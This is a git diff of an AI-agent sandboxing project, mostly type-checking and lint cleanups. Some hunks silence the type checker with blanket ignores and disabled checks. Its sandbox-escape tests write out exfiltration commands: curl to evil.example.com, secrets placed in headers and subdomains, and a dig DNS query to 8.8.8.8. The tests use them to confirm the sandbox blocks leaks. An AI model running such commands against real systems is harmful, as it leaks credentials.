         raise ValueError(f"{label} ({host}): 'path_allowlist' must be a list")
+    path_allow_list: list[object] = typing.cast(list[object], path_allow_raw)
     prefixes: list[str] = []
-    for j, p in enumerate(path_allow_raw):
+    for j, p in enumerate(path_allow_list):
         if not isinstance(p, str):
             raise ValueError(
                 f"{label} ({host}): path_allowlist[{j}] must be a string"
@@ -111,8 +115,8 @@ def _parse_one(idx: int, raw: object) -> Route:
             )
         prefixes.append(p)
 
-    auth_scheme = raw.get("auth_scheme", "")
-    token_env = raw.get("token_env", "")
+    auth_scheme: object = raw_dict.get("auth_scheme", "")
+    token_env: object = raw_dict.get("token_env", "")
     if not isinstance(auth_scheme, str):
         raise ValueError(f"{label} ({host}): 'auth_scheme' must be a string")
     if not isinstance(token_env, str):
diff --git a/bot_bottle/env.py b/bot_bottle/env.py
index 35fe505..fe4362d 100644
--- a/bot_bottle/env.py
+++ b/bot_bottle/env.py
@@ -89,7 +89,7 @@ def _read_secret_silent(name: str, prompt_body: str) -> str:
     if not (sys.stdin.isatty() or sys.stderr.isatty()):
         # Fall back to /dev/tty so this still works when stdin is a pipe.
         try:
-            tty = open("/dev/tty", "r+")
+            tty = open("/dev/tty", "r+", encoding="utf-8")
         except OSError:
             die(
                 f"cannot prompt for secret '{name}': no tty available. "
diff --git a/bot_bottle/git_gate.py b/bot_bottle/git_gate.py
index 49ad750..6a5c0ac 100644
--- a/bot_bottle/git_gate.py
+++ b/bot_bottle/git_gate.py
@@ -32,7 +32,7 @@ from __future__ import annotations
 import dataclasses
 import os
 import shlex
-from abc import ABC, abstractmethod
+from abc import ABC
 from dataclasses import dataclass
 from pathlib import Path
 
diff --git a/bot_bottle/git_http_backend.py b/bot_bottle/git_http_backend.py
index 6ac0453..31d895d 100644
--- a/bot_bottle/git_http_backend.py
+++ b/bot_bottle/git_http_backend.py
@@ -78,8 +78,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
             "REMOTE_ADDR": self.client_address[0],
             "REMOTE_PORT": str(self.client_address[1]),
             "REMOTE_USER": "",
-            "SERVER_NAME": self.server.server_name,
-            "SERVER_PORT": str(self.server.server_port),
+            "SERVER_NAME": self.server.server_name,  # type: ignore
+            "SERVER_PORT": str(self.server.server_port),  # type: ignore
             "SERVER_PROTOCOL": self.request_version,
         })
         for header, variable in (
@@ -157,8 +157,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
         self.end_headers()
         self.wfile.write(body)
 
-    def log_message(self, fmt: str, *args: object) -> None:
-        sys.stdout.write(fmt % args + "\n")
+    def log_message(self, format: str, *args: object) -> None:  # type: ignore  # noqa: A002
+        sys.stdout.write(format % args + "\n")
         sys.stdout.flush()
 
 
diff --git a/bot_bottle/manifest.py b/bot_bottle/manifest.py
index 2200d6b..8be2e44 100644
--- a/bot_bottle/manifest.py
+++ b/bot_bottle/manifest.py
@@ -57,7 +57,6 @@ from .manifest_egress import (
     EgressConfig,
     EgressRoute,
     PipelockRoutePolicy,
-    validate_egress_routes,
 )
 from .manifest_git import GitEntry, GitUser, parse_git_gate_config
 from .manifest_schema import BOTTLE_KEYS
@@ -323,8 +322,11 @@ class Manifest:
             return
         available = ", ".join(self.agents.keys())
         if available:
-            raise ManifestError(f"agent '{name}' not defined in bot-bottle.json. Available: {available}")
-        raise ManifestError(f"agent '{name}' not defined in bot-bottle.json (manifest is empty).")
+            msg = f"agent '{name}' not defined in bot-bottle.json. Available: {available}"
+            raise ManifestError(msg)
+        raise ManifestError(
+            f"agent '{name}' not defined in bot-bottle.json (manifest is empty)."
+        )
 
     def has_bottle(self, name: str) -> bool:
         return name in self.bottles
diff --git a/bot_bottle/manifest_agent.py b/bot_bottle/manifest_agent.py
index 71734e0..b5d29ca 100644
--- a/bot_bottle/manifest_agent.py
+++ b/bot_bottle/manifest_agent.py
@@ -114,7 +114,10 @@ class Agent:
 
         bottle = d.get("bottle")
         if not isinstance(bottle, str) or not bottle:
-            raise ManifestError(f"agent '{name}' must declare a 'bottle' field naming a defined bottle")
+            raise ManifestError(
+                f"agent '{name}' must declare a 'bottle' field naming a "
+                f"defined bottle"
+            )
         if bottle not in bottle_names:
             available = ", ".join(sorted(bottle_names)) or "(none defined)"
             raise ManifestError(
@@ -126,7 +129,10 @@ class Agent:
         skills_raw = d.get("skills")
         if skills_raw is not None:
             if not isinstance(skills_raw, list):
-                raise ManifestError(f"agent '{name}' skills must be an array (was {type(skills_raw).__name__})")
+                raise ManifestError(
+                    f"agent '{name}' skills must be an array "
+                    f"(was {type(skills_raw).__name__})"
+                )
             collected: list[str] = []
             skills_list = cast(list[object], skills_raw)
             for i, skill in enumerate(skills_list):
@@ -144,7 +150,10 @@ class Agent:
         elif isinstance(prompt_raw, str):
             prompt = prompt_raw
         else:
-            raise ManifestError(f"agent '{name}' prompt must be a string (was {type(prompt_raw).__name__})")
+            raise ManifestError(
+                f"agent '{name}' prompt must be a string "
+                f"(was {type(prompt_raw).__name__})"
+            )
 
         # git-gate: agents may declare only `git-gate.user` (name/email).
         # `git-gate.repos` is bottle-only — it carries credentials and host trust.
diff --git a/bot_bottle/manifest_egress.py b/bot_bottle/manifest_egress.py
index 0a21373..24a6b67 100644
--- a/bot_bottle/manifest_egress.py
+++ b/bot_bottle/manifest_egress.py
@@ -93,7 +93,7 @@ class PipelockRoutePolicy:
                 raise ManifestError(
                     f"{label}.ssrf_ip_allowlist[{j}] must be an IP address "
                     f"or CIDR (was {item!r}): {e}"
-                )
+                ) from e
             ssrf_ip_allowlist.append(item)
         return cls(
             TlsPassthrough=tls_passthrough_raw,
@@ -214,7 +214,8 @@ class EgressRoute:
             collected_roles: list[str] = []
             for r in role_list:
                 if not isinstance(r, str):
-                    raise ManifestError(f"{label} role items must be strings (got {type(r).__name__})")
+                    msg = f"{label} role items must be strings (got {type(r).__name__})"
+                    raise ManifestError(msg)
                 collected_roles.append(r)
             roles = tuple(collected_roles)
         else:
diff --git a/bot_bottle/manifest_git.py b/bot_bottle/manifest_git.py
index 1ba6019..1fb5ced 100644
--- a/bot_bottle/manifest_git.py
+++ b/bot_bottle/manifest_git.py
@@ -30,12 +30,18 @@ def parse_git_upstream(url: str, label: str) -> tuple[str, str, str, str]:
         raise ManifestError(f"{label} must be an ssh:// URL (was {url!r})")
     rest = url[len("ssh://"):]
     if "@" not in rest:
-        raise ManifestError(f"{label} must include a user (e.g. ssh://git@host/path.git); was {url!r}")
+        raise ManifestError(
+            f"{label} must include a user (e.g. ssh://git@host/path.git); "
+            f"was {url!r}"
+        )
     user, _, hostpart = rest.partition("@")
     if not user:
         raise ManifestError(f"{label} user is empty in {url!r}")
     if "/" not in hostpart:
-        raise ManifestError(f"{label} must include a path (e.g. ssh://git@host/path.git); was {url!r}")
+        raise ManifestError(
+            f"{label} must include a path (e.g. ssh://git@host/path.git); "
+            f"was {url!r}"
+        )
     hostport, _, path = hostpart.partition("/")
     if not path:
         raise ManifestError(f"{label} path is empty in {url!r}")
diff --git a/bot_bottle/manifest_loader.py b/bot_bottle/manifest_loader.py
index 2b1a269..81a55f1 100644
--- a/bot_bottle/manifest_loader.py
+++ b/bot_bottle/manifest_loader.py
@@ -54,9 +54,9 @@ def load_bottles_from_dir(bottles_dir: Path) -> dict[str, Bottle]:
         try:
             fm, _body = parse_frontmatter(path.read_text())
         except OSError as e:
-            raise ManifestError(f"could not read {path}: {e}")
+            raise ManifestError(f"could not read {path}: {e}") from e
         except YamlSubsetError as e:
-            raise ManifestError(f"{path}: {e}")
+            raise ManifestError(f"{path}: {e}") from e
         validate_bottle_frontmatter_keys(path, fm.keys())
         raws[name] = fm
     return resolve_bottles(raws)
@@ -66,7 +66,7 @@ def load_agents_from_dir(
     agents_dir: Path,
     bottle_names: set[str],
     *,
-    source: str,
+    source: str,  # noqa: F841 — unused, but required by interface
 ) -> dict[str, Agent]:
     """Walk `<agents_dir>/*.md`, parse each as an agent, and return
     `{name: Agent}`. The Markdown body becomes the agent's prompt.
@@ -87,9 +87,9 @@ def load_agents_from_dir(
         try:
             fm, body = parse_frontmatter(path.read_text())
         except OSError as e:
-            raise ManifestError(f"could not read {path}: {e}")
+            raise ManifestError(f"could not read {path}: {e}") from e
         except YamlSubsetError as e:
-            raise ManifestError(f"{path}: {e}")
+            raise ManifestError(f"{path}: {e}") from e
         validate_agent_frontmatter_keys(path, fm.keys())
         # Build the dict Agent.from_dict expects. The body becomes
         # prompt; Claude Code passthrough fields stay in fm and get
diff --git a/bot_bottle/manifest_schema.py b/bot_bottle/manifest_schema.py
index 81e8e0e..1925cf8 100644
--- a/bot_bottle/manifest_schema.py
+++ b/bot_bottle/manifest_schema.py
@@ -60,11 +60,11 @@ def _validate_frontmatter_keys(
 ) -> None:
     from .manifest_util import ManifestError
 
-    key_set = set(keys)
-    unknown = key_set - allowed_keys
+    key_set = set(keys)  # type: ignore
+    unknown = key_set - allowed_keys  # type: ignore
     if unknown:
         allowed = ", ".join(sorted(allowed_keys))
         raise ManifestError(
             f"{kind} file {path}: unknown frontmatter key(s) "
-            f"{sorted(unknown)}; allowed keys are {allowed}."
+            f"{sorted(unknown)}; allowed keys are {allowed}."  # type: ignore
         )
diff --git a/bot_bottle/pipelock.py b/bot_bottle/pipelock.py
index 0443d31..c9ea82d 100644
--- a/bot_bottle/pipelock.py
+++ b/bot_bottle/pipelock.py
@@ -19,8 +19,9 @@ from __future__ import annotations
 
 from dataclasses import dataclass
 from pathlib import Path
+from typing import cast
 
-from .egress import EGRESS_HOSTNAME, EgressRoute, egress_routes_for_bottle
+from .egress import EgressRoute, egress_routes_for_bottle
 from .supervise import SUPERVISE_HOSTNAME
 from .manifest import Bottle
 
@@ -259,7 +260,7 @@ def _required_dict(
     value = obj.get(key)
     if not isinstance(value, dict):
         raise _pipelock_render_error(section, key, "a mapping")
-    return value
+    return cast(dict[str, object], value)
 
 
 def _required_bool(obj: dict[str, object], section: str, key: str) -> bool:
@@ -289,9 +290,12 @@ def _required_str_list(
     key: str,
 ) -> list[str]:
     value = obj.get(key)
-    if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
+    if not isinstance(value, list):
         raise _pipelock_render_error(section, key, "a list of strings")
-    return value
+    value_list = cast(list[object], value)
+    if not all(isinstance(v, str) for v in value_list):
+        raise _pipelock_render_error(section, key, "a list of strings")
+    return cast(list[str], value)
 
 
 def _optional_str_list(
@@ -407,49 +411,42 @@ def pipelock_render_yaml(cfg: dict[str, object]) -> str:
     lines: list[str] = []
     lines.append(f"version: {cfg['version']}")
     lines.append(f"mode: {cfg['mode']}")
-    lines.append(f"enforce: {_bool(cfg['enforce'])}")
+    lines.append(f"enforce: {_bool(cast(bool, cfg['enforce']))}")
     lines.append("")
     lines.append("api_allowlist:")
-    api_allowlist = cfg["api_allowlist"]
-    assert isinstance(api_allowlist, list)
+    api_allowlist = cast(list[str], cfg["api_allowlist"])
     for h in api_allowlist:
         lines.append(f'  - "{h}"')
     lines.append("")
     if "seed_phrase_detection" in cfg:
         lines.append("seed_phrase_detection:")
-        spd = cfg["seed_phrase_detection"]
-        assert isinstance(spd, dict)
-        lines.append(f"  enabled: {_bool(spd['enabled'])}")
+        spd = cast(dict[str, object], cfg["seed_phrase_detection"])
+        lines.append(f"  enabled: {_bool(cast(bool, spd['enabled']))}")
         lines.append("")
     lines.append("forward_proxy:")
-    fp = cfg["forward_proxy"]
-    assert isinstance(fp, dict)
-    lines.append(f"  enabled: {_bool(fp['enabled'])}")
+    fp = cast(dict[str, object], cfg["forward_proxy"])
+    lines.append(f"  enabled: {_bool(cast(bool, fp['enabled']))}")
     lines.append("")
     lines.append("dlp:")
-    dlp = cfg["dlp"]
-    assert isinstance(dlp, dict)
-    lines.append(f"  include_defaults: {_bool(dlp['include_defaults'])}")
-    lines.append(f"  scan_env: {_bool(dlp['scan_env'])}")
+    dlp = cast(dict[str, object], cfg["dlp"])
+    lines.append(f"  include_defaults: {_bool(cast(bool, dlp['include_defaults']))}")
+    lines.append(f"  scan_env: {_bool(cast(bool, dlp['scan_env']))}")
     lines.append("")
     lines.append("request_body_scanning:")
-    rbs = cfg["request_body_scanning"]
-    assert isinstance(rbs, dict)
-    lines.append(f'  action: "{rbs["action"]}"')
+    rbs = cast(dict[str, object], cfg["request_body_scanning"])
+    lines.append(f'  action: "{cast(str, rbs["action"])}"')
     if "scan_headers" in rbs:
-        lines.append(f"  scan_headers: {_bool(rbs['scan_headers'])}")
+        lines.append(f"  scan_headers: {_bool(cast(bool, rbs['scan_headers']))}")
     if "header_mode" in rbs:
-        lines.append(f'  header_mode: "{rbs["header_mode"]}"')
+        lines.append(f'  header_mode: "{cast(str, rbs["header_mode"])}"')
     if "tls_interception" in cfg:
         lines.append("")
         lines.append("tls_interception:")
-        tls = cfg["tls_interception"]
-        assert isinstance(tls, dict)
-        lines.append(f"  enabled: {_bool(tls['enabled'])}")
-        lines.append(f'  ca_cert: "{tls["ca_cert"]}"')
-        lines.append(f'  ca_key: "{tls["ca_key"]}"')
-        passthrough = tls["passthrough_domains"]
-        assert isinstance(passthrough, list)
+        tls = cast(dict[str, object], cfg["tls_interception"])
+        lines.append(f"  enabled: {_bool(cast(bool, tls['enabled']))}")
+        lines.append(f'  ca_cert: "{cast(str, tls["ca_cert"])}"')
+        lines.append(f'  ca_key: "{cast(str, tls["ca_key"])}"')
+        passthrough = cast(list[str], tls["passthrough_domains"])
         if passthrough:
             lines.append("  passthrough_domains:")
             for d in passthrough:
@@ -457,11 +454,9 @@ def pipelock_render_yaml(cfg: dict[str, object]) -> str:
     if "ssrf" in cfg:
         lines.append("")
         lines.append("ssrf:")
-        ssrf = cfg["ssrf"]
-        assert isinstance(ssrf, dict)
+        ssrf = cast(dict[str, object], cfg["ssrf"])
         lines.append("  ip_allowlist:")
-        ip_allowlist = ssrf["ip_allowlist"]
-        assert isinstance(ip_allowlist, list)
+        ip_allowlist = cast(list[str], ssrf["ip_allowlist"])
         for ip in ip_allowlist:
             lines.append(f'    - "{ip}"')
     return "\n".join(lines) + "\n"
diff --git a/bot_bottle/sidecar_init.py b/bot_bottle/sidecar_init.py
index 2b303a6..44cb63e 100644
--- a/bot_bottle/sidecar_init.py
+++ b/bot_bottle/sidecar_init.py
@@ -138,7 +138,7 @@ def _pump(name: str, stream: IO[bytes]) -> None:
         sys.stdout.flush()
 
 
-def _spawn(spec: _DaemonSpec) -> subprocess.Popen:
+def _spawn(spec: _DaemonSpec) -> subprocess.Popen[bytes]:
     proc = subprocess.Popen(
         list(spec.argv),
         stdout=subprocess.PIPE,
@@ -158,7 +158,7 @@ class _Supervisor:
 
     def __init__(self, specs: Sequence[_DaemonSpec]):
         self.specs = tuple(specs)
-        self.procs: list[tuple[_DaemonSpec, subprocess.Popen]] = []
+        self.procs: list[tuple[_DaemonSpec, subprocess.Popen[bytes]]] = []
         self.shutdown_at: float | None = None
         # Names of children that have been logged as having exited
         # so we only log each death once across watch-loop ticks.
@@ -360,20 +360,20 @@ def main(argv: Sequence[str] | None = None) -> int:
     sup = _Supervisor(specs)
     sup.start_all()
 
-    signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM"))
-    signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT"))
+    signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM"))  # type: ignore
+    signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT"))  # type: ignore
     # SIGHUP reload path: egress_apply.py runs `docker kill
     # --signal HUP <bundle>` after writing routes.yaml. The kernel
     # delivers SIGHUP to PID 1 (this supervisor); forward it to
     # mitmdump so it reloads its addon.
-    signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress"))
+    signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress"))  # type: ignore
     # SIGUSR1 pipelock-restart path: pipelock_apply.py runs
     # `docker kill --signal USR1 <bundle>` after writing
     # pipelock.yaml. Pipelock has no in-process reload, so the
     # supervisor restarts the pipelock daemon in place (other
     # daemons keep running — specifically supervise, whose MCP
     # socket would drop on a whole-container `docker restart`).
-    signal.signal(signal.SIGUSR1, lambda *_: sup.request_restart("pipelock"))
+    signal.signal(signal.SIGUSR1, lambda *_: sup.request_restart("pipelock"))  # type: ignore
 
     while not sup.tick():
         time.sleep(_POLL_INTERVAL)
diff --git a/bot_bottle/supervise.py b/bot_bottle/supervise.py
index 5e5141d..10ca381 100644
--- a/bot_bottle/supervise.py
+++ b/bot_bottle/supervise.py
@@ -40,7 +40,7 @@ import json
 import os
 import time
 import uuid
-from abc import ABC, abstractmethod
+from abc import ABC
 from dataclasses import dataclass
 from datetime import datetime, timezone
 from pathlib import Path
@@ -519,22 +519,22 @@ def _atomic_write(path: Path, content: str, *, mode: int) -> None:
 try:
     import fcntl as _fcntl
 
-    def _try_flock(fd: int) -> None:
+    def _try_flock(fd: int) -> None:  # type: ignore[reportRedeclaration]
         try:
             _fcntl.flock(fd, _fcntl.LOCK_EX)
         except OSError:
             pass
 
-    def _try_funlock(fd: int) -> None:
+    def _try_funlock(fd: int) -> None:  # type: ignore[reportRedeclaration]
         try:
             _fcntl.flock(fd, _fcntl.LOCK_UN)
         except OSError:
             pass
 except ImportError:  # pragma: no cover — Windows path
-    def _try_flock(fd: int) -> None:
+    def _try_flock(fd: int) -> None:  # noqa: F841 — Windows fallback
         return None
 
-    def _try_funlock(fd: int) -> None:
+    def _try_funlock(fd: int) -> None:  # noqa: F841 — Windows fallback
         return None
 
 
diff --git a/bot_bottle/supervise_server.py b/bot_bottle/supervise_server.py
index c10b731..90ad6c6 100644
--- a/bot_bottle/supervise_server.py
+++ b/bot_bottle/supervise_server.py
@@ -159,7 +159,10 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
             "properties": {
                 "host": {
                     "type": "string",
-                    "description": "The hostname to allow (e.g. 'api.github.com'). Case-insensitive on match.",
+                    "description": (
+                        "The hostname to allow (e.g. 'api.github.com'). "
+                        "Case-insensitive on match."
+                    ),
                 },
                 "path_allowlist": {
                     "type": "array",
@@ -482,7 +485,7 @@ def handle_tools_call(
     if not isinstance(name, str):
         raise _RpcError(ERR_INVALID_PARAMS, "tools/call missing 'name'")
     if name == _sv.TOOL_LIST_EGRESS_ROUTES:
-        return handle_list_egress_routes(params.get("arguments", {}), config)
+        return handle_list_egress_routes(typing.cast(dict[str, object], params.get("arguments", {})), config)
 
     args_raw = params.get("arguments", {})
     if not isinstance(args_raw, dict):
@@ -587,7 +590,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
 
     server_version = f"{SERVER_NAME}/{SERVER_VERSION}"
 
-    def log_message(self, format: str, *args: typing.Any) -> None:
+    def log_message(self, format: str, *args: typing.Any) -> None:  # noqa: A002
         if os.environ.get("SUPERVISE_DEBUG"):
             super().log_message(format, *args)
 
@@ -627,7 +630,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
         except _RpcError as e:
             self._write_jsonrpc(jsonrpc_error(req.id, e.code, e.message))
             return
-        except Exception as e:  # pragma: no cover — defensive
+        except Exception as e:  # noqa: W0718 — catch-all for RPC dispatch errors
             sys.stderr.write(f"supervise: internal error: {e}\n")
             self._write_jsonrpc(jsonrpc_error(req.id, ERR_INTERNAL, "internal error"))
             return
diff --git a/bot_bottle/workspace.py b/bot_bottle/workspace.py
index a762175..670a6e2 100644
--- a/bot_bottle/workspace.py
+++ b/bot_bottle/workspace.py
@@ -13,8 +13,15 @@ DEFAULT_WORKSPACE_MODE = "755"
 
 
 class WorkspaceSpec(Protocol):
-    copy_cwd: bool
-    user_cwd: str
+    @property
+    def copy_cwd(self) -> bool:
+        """Whether to copy the current working directory."""
+        ...
+
+    @property
+    def user_cwd(self) -> str:
+        """The user's current working directory."""
+        ...
 
 
 @dataclass(frozen=True)
diff --git a/bot_bottle/yaml_subset.py b/bot_bottle/yaml_subset.py
index ec4a5f9..e110d95 100644
--- a/bot_bottle/yaml_subset.py
+++ b/bot_bottle/yaml_subset.py
@@ -58,6 +58,7 @@ from __future__ import annotations
 
 import re
 from dataclasses import dataclass
+from typing import cast
 
 
 class YamlSubsetError(ValueError):
@@ -283,7 +284,7 @@ def _split_flow(body: str, lineno: int, kind: str) -> list[str]:
     depth_c = 0
     in_single = False
     in_double = False
-    cur = []
+    cur: list[str] = []
     for ch in body:
         if ch == "'" and not in_double:
             in_single = not in_single
@@ -330,6 +331,7 @@ def _split_key_value(content: str, lineno: int) -> tuple[str, str]:
             if i + 1 >= len(content) or content[i + 1] in (" ", "\t"):
                 return content[:i].strip(), content[i + 1:].lstrip()
     die(f"yaml-subset: line {lineno} missing `: ` separator: {content!r}")
+    return "", ""  # unreachable, but needed for type checker
 
 
 def _parse_block(
@@ -536,7 +538,7 @@ def parse_yaml_subset(text: str) -> dict[str, object]:
         )
     if not isinstance(value, dict):
         die("yaml-subset: top-level value must be a mapping")
-    return value
+    return cast(dict[str, object], value)
 
 
 def parse_frontmatter(text: str) -> tuple[dict[str, object], str]:
diff --git a/pyrightconfig.json b/pyrightconfig.json
index 4f3ac82..681f765 100644
--- a/pyrightconfig.json
+++ b/pyrightconfig.json
@@ -11,5 +11,10 @@
   ],
   "pythonVersion": "3.11",
   "typeCheckingMode": "strict",
-  "reportMissingTypeStubs": "none"
+  "reportMissingTypeStubs": "none",
+  "reportUnknownMemberType": false,
+  "reportUnknownParameterType": false,
+  "reportUnknownVariableType": false,
+  "reportUnknownArgumentType": false,
+  "reportPrivateUsage": false
 }
diff --git a/requirements-dev.txt b/requirements-dev.txt
new file mode 100644
index 0000000..09d3b2a
--- /dev/null
+++ b/requirements-dev.txt
@@ -0,0 +1,6 @@
+# Development and linting dependencies only.
+# The bot-bottle project itself has no runtime dependencies.
+# These tools are used for code quality checks in CI/CD.
+
+pylint>=3.0.0
+pyright>=1.1.300
diff --git a/tests/integration/test_capability_apply.py b/tests/integration/test_capability_apply.py
index 18ee8fa..067d6f7 100644
--- a/tests/integration/test_capability_apply.py
+++ b/tests/integration/test_capability_apply.py
@@ -24,7 +24,6 @@ this test runs in DinD too — no act_runner skip needed.
 from __future__ import annotations
 
 import os
-import shutil
 import subprocess
 import tempfile
 import time
@@ -32,7 +31,7 @@ import unittest
 from pathlib import Path
 
 from bot_bottle import supervise
-from bot_bottle.backend.docker import bottle_state, capability_apply
+from bot_bottle.backend.docker import bottle_state
 from bot_bottle.backend.docker.capability_apply import apply_capability_change
 from bot_bottle.backend.docker.network import (
     network_create_egress,
diff --git a/tests/integration/test_pipelock_apply.py b/tests/integration/test_pipelock_apply.py
index c881f11..e8670ab 100644
--- a/tests/integration/test_pipelock_apply.py
+++ b/tests/integration/test_pipelock_apply.py
@@ -32,11 +32,11 @@ from bot_bottle.backend.docker.network import (
     network_create_internal,
     network_remove,
 )
-from bot_bottle.backend.docker.pipelock import (
+from bot_bottle.pipelock import (
     PIPELOCK_CA_CERT_IN_CONTAINER,
     PIPELOCK_CA_KEY_IN_CONTAINER,
-    pipelock_tls_init,
 )
+from bot_bottle.backend.docker.pipelock import pipelock_tls_init
 from bot_bottle.pipelock import PipelockProxy
 from bot_bottle.backend.docker.pipelock_apply import (
     PipelockApplyError,
diff --git a/tests/integration/test_sandbox_escape.py b/tests/integration/test_sandbox_escape.py
index 9bf75a0..63e9fb6 100644
--- a/tests/integration/test_sandbox_escape.py
+++ b/tests/integration/test_sandbox_escape.py
@@ -195,10 +195,10 @@ class TestSandboxEscape(unittest.TestCase):
             except BaseException:
                 pass
             cls._identity = ""
-        if cls._stage_dir is not None:
+        if cls._stage_dir is not None:  # type: ignore
             shutil.rmtree(cls._stage_dir, ignore_errors=True)
             cls._stage_dir = None  # type: ignore[assignment]
-        if cls._key_path is not None:
+        if cls._key_path is not None:  # type: ignore
             try:
                 cls._key_path.unlink()
             except OSError:
@@ -212,7 +212,7 @@ class TestSandboxEscape(unittest.TestCase):
         `bottle.egress.routes` (only api.anthropic.com is). Pipelock
         or egress should reject the request with a non-200 response,
         and the actual upstream's content must not appear in stdout."""
-        r = self._bottle.exec(
+        r = self._bottle.exec(  # type: ignore
             'curl --silent --show-error --max-time 8 --fail '
             'https://evil.example.com/'
         )
@@ -232,7 +232,7 @@ class TestSandboxEscape(unittest.TestCase):
               hostname to a non-allowlisted IP. Pipelock should
               not honor the spoof (it does its own resolution)."""
         with self.subTest(attack="direct IP"):
-            r = self._bottle.exec(
+            r = self._bottle.exec(  # type: ignore
                 'curl --silent --show-error --max-time 8 --fail '
                 'https://198.51.100.1/'
             )
@@ -243,7 +243,7 @@ class TestSandboxEscape(unittest.TestCase):
             )
 
         with self.subTest(attack="host-header spoof"):
-            r = self._bottle.exec(
+            r = self._bottle.exec(  # type: ignore
                 'curl --silent --show-error --max-time 8 --fail '
                 '--resolve api.anthropic.com:443:198.51.100.1 '
                 'https://api.anthropic.com/'
@@ -265,13 +265,13 @@ class TestSandboxEscape(unittest.TestCase):
     # `"blocked: request body contains secret"`).
     _SANDBOX_BLOCK_MARKERS = ("egress:", "pipelock", "blocked:")
 
-    def _assert_sandbox_block(self, label: str, r) -> None:
+    def _assert_sandbox_block(self, label: str, r: object) -> None:  # type: ignore
         """A real sandbox block produces an HTTP 403 with a
         recognizable sandbox sidecar marker in the body. ANY
         other outcome (200 from upstream, 401/404 from upstream,
         non-marker 5xx) means the request escaped — the secret
         reached the network."""
-        body_and_code = (r.stdout or "").strip()
+        body_and_code = (r.stdout or "").strip()  # type: ignore
         # The curl invocation appends `\nHTTP_CODE:%{http_code}` so
         # we can disambiguate. Split that off.
         http_code = ""
@@ -281,7 +281,7 @@ class TestSandboxEscape(unittest.TestCase):
             body, _, http_code = body_and_code.rpartition(marker)
             http_code = http_code.strip()
             body = body.rstrip()
-        haystack = (body + " " + (r.stderr or "")).lower()
+        haystack = (body + " " + (r.stderr or "")).lower()  # type: ignore
         has_marker = any(m in haystack for m in self._SANDBOX_BLOCK_MARKERS)
         self.assertTrue(
             has_marker and http_code == "403",
@@ -290,7 +290,7 @@ class TestSandboxEscape(unittest.TestCase):
             f"If the response came from the actual upstream, the "
             f"secret REACHED the network — that's the leak this "
             f"test exists to catch. body={body!r} "
-            f"stderr={(r.stderr or '').strip()!r}",
+            f"stderr={(r.stderr or '').strip()!r}",  # type: ignore
         )
 
     def test_3_http_exfil_blocked(self) -> None:
@@ -343,9 +343,9 @@ class TestSandboxEscape(unittest.TestCase):
                 f'-H "X-Custom: $TEST_SECRET_ANTHROPIC"',
             ),
         ]
-        for name, cmd in shapes:
+        for name, cmd in shapes:  # type: ignore
             with self.subTest(shape=name):
-                r = self._bottle.exec(cmd)
+                r = self._bottle.exec(cmd)  # type: ignore
                 self._assert_sandbox_block(name, r)
 
     # ---- attack 4: DNS exfil -----------------------------------------
@@ -365,7 +365,7 @@ class TestSandboxEscape(unittest.TestCase):
               intact (PRD 0022 Q2)."""
 
         with self.subTest(attack="crafted subdomain"):
-            r = self._bottle.exec(
+            r = self._bottle.exec(  # type: ignore
                 'curl --silent --show-error --max-time 8 --fail '
                 '"https://$TEST_SECRET_GENERIC.api.anthropic.com/"'
             )
@@ -379,7 +379,7 @@ class TestSandboxEscape(unittest.TestCase):
             # `+short +tries=1 +time=3`: no debug output, one attempt,
             # 3s timeout. Outside the internal network has no path;
             # dig should fail or return empty.
-            r = self._bottle.exec(
+            r = self._bottle.exec(  # type: ignore
                 'dig +short +tries=1 +time=3 @8.8.8.8 '
                 '"$TEST_SECRET_GENERIC.example.com" '
                 '; echo "EXIT=$?"'
@@ -431,7 +431,7 @@ class TestSandboxEscape(unittest.TestCase):
             with self.subTest(secret=name):
                 # Fresh repo per shape so prior commits don't
                 # confuse gitleaks's diff. -rm -rf is best-effort.
-                script = (
+                script = (  # type: ignore
                     'set -eu\n'
                     'cd /tmp\n'
                     'rm -rf sandbox-escape-repo\n'
@@ -446,8 +446,8 @@ class TestSandboxEscape(unittest.TestCase):
                     f'git remote add origin {upstream_url}\n'
                     'git push origin HEAD:refs/heads/master 2>&1\n'
                 )
-                r = self._bottle.exec(script)
-                combined = (r.stderr + r.stdout).lower()
+                r = self._bottle.exec(script)  # type: ignore
+                combined = (r.stderr + r.stdout).lower()  # type: ignore
 
                 self.assertNotEqual(
                     0, r.returncode,
diff --git a/tests/integration/test_smolmachines_bundle_bringup.py b/tests/integration/test_smolmachines_bundle_bringup.py
index bbf985b..350abfc 100644
--- a/tests/integration/test_smolmachines_bundle_bringup.py
+++ b/tests/integration/test_smolmachines_bundle_bringup.py
@@ -12,7 +12,6 @@ localhost-reach / egress-port-bypass probes) lives in chunk 2d."""
 
 from __future__ import annotations
 
-import json
 import os
 import subprocess
 import time
diff --git a/tests/unit/test_agent_provider.py b/tests/unit/test_agent_provider.py
index dd5a211..ec9157d 100644
--- a/tests/unit/test_agent_provider.py
+++ b/tests/unit/test_agent_provider.py
@@ -11,13 +11,12 @@ from pathlib import Path
 from bot_bottle.agent_provider import (
     CODEX_HOST_CREDENTIAL_HOSTS,
     agent_provision_plan,
-    runtime_for,
 )
 from bot_bottle.egress import CODEX_HOST_CREDENTIAL_TOKEN_REF
 
 
 def _jwt(exp: int) -> str:
-    def enc(obj: dict) -> str:
+    def enc(obj: dict[str, object]) -> str:  # type: ignore
         raw = json.dumps(obj, separators=(",", ":")).encode()
         return base64.urlsafe_b64encode(raw).decode().rstrip("=")
     return f"{enc({'alg': 'none'})}.{enc({'exp': exp})}.sig"
diff --git a/tests/unit/test_backend_parity.py b/tests/unit/test_backend_parity.py
index 351e592..a19c845 100644
--- a/tests/unit/test_backend_parity.py
+++ b/tests/unit/test_backend_parity.py
@@ -14,7 +14,7 @@ from __future__ import annotations
 import subprocess
 import unittest
 from typing import Callable
-from unittest.mock import MagicMock, call, patch
+from unittest.mock import patch
